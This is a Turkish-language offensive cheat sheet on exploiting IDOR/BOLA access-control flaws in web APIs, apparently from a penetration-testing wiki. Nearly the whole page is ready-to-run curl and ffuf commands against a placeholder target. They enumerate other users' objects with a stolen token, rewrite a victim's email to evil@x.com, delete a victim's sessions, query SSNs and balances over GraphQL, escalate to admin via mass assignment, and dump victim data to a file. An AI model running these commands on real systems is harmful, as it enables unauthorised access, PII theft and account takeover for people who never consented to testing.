IDOR
web offensive
IDOR (Insecure Direct Object Reference / BOLA), kimlik doğrulanmış bir kullanıcının başka bir nesneye kimlik değiştirerek erişmesidir. Enum → yatay/dikey erişim → yazma etkisi sırası izlenir.
Metodoloji
Section titled “Metodoloji”-
IDORgiriş noktalarını (param/header/cookie/upload/API) haritala. -
Hedefe özgü payload ve araçlarla hipotezi doğrula.
-
Okuma/yazma/RCE/bypass etkisini somut kanıtla.
-
Zincirleme senaryo ve kanıt paketini tamamla.
Hedef yığını, endpoint’leri ve auth sınırını netleştir.
curl -skI https://TARGET/whatweb -a 3 https://TARGETkatana -u https://TARGET -jc -d 3 -o crawl.txtffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,204,301,302,403arjun -u https://TARGET/api/v1/item --getNesne kimliği haritası
Section titled “Nesne kimliği haritası”Kaynak kimliklerini (id, uuid, slug, hash) response ve JS bundle’dan çıkar.
rg -n "userId|account_id|/api/users/|/orders/" crawl.txtcurl -sk https://TARGET/api/me -H 'Authorization: Bearer TOKEN_A'curl -sk https://TARGET/api/users/1001 -H 'Authorization: Bearer TOKEN_A'curl -sk https://TARGET/api/users/1002 -H 'Authorization: Bearer TOKEN_A'A’nın token’ı ile B’nin nesnesi → HTTP 200 + yabancı veri = IDORYatay / dikey erişim
Section titled “Yatay / dikey erişim”ffuf -u 'https://TARGET/api/invoices/FUZZ' -w ids.txt -H 'Authorization: Bearer TOKEN_A' -mc 200 -fs 0ffuf -u 'https://TARGET/api/admin/users/FUZZ' -w ids.txt -H 'Authorization: Bearer TOKEN_USER' -mc 200,403curl -sk -X PUT https://TARGET/api/users/1002 -H 'Authorization: Bearer TOKEN_A' -H 'Content-Type: application/json' -d '{"email":"evil@x.com"}'curl -sk -X DELETE https://TARGET/api/users/1002/sessions -H 'Authorization: Bearer TOKEN_A'GET okuma + PUT/PATCH/DELETE yazma ayrı ayrı doğrulanmalıUUID / tahmin edilemez id
Section titled “UUID / tahmin edilemez id”curl -sk 'https://TARGET/api/files?owner=me' -H 'Authorization: Bearer TOKEN_A' | jq '.[].id'ffuf -u 'https://TARGET/api/files/FUZZ' -w leaked-uuids.txt -H 'Authorization: Bearer TOKEN_B' -mc 200UUID gizlilik ≠ yetki; referans sızıntısı (e-posta, export, websocket) yeterseq 1 500 | ffuf -u 'https://TARGET/api/reports?id=FUZZ' -w - -H 'Cookie: session=A' -mc 200GraphQL / mass assignment karışımı
Section titled “GraphQL / mass assignment karışımı”query { user(id:"1002") { email ssn balance } }curl -sk https://TARGET/graphql -H 'Content-Type: application/json' -d '{"query":"query{user(id:\"1002\"){email}}"}' -b jarcurl -sk -X PATCH https://TARGET/api/profile -H 'Authorization: Bearer TOKEN_A' -d '{"role":"admin","user_id":1002}'BOLA: object-level; BFLA: function-level admin endpointKanıt ve etki
Section titled “Kanıt ve etki”curl -sk https://TARGET/api/users/1002/export -H 'Authorization: Bearer TOKEN_A' -o victim-export.jsonjq . victim-export.json | headetki: PII dump, sipariş manipülasyonu, hesap ele geçirme zinciriOperasyon notları
Section titled “Operasyon notları”IDOR sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.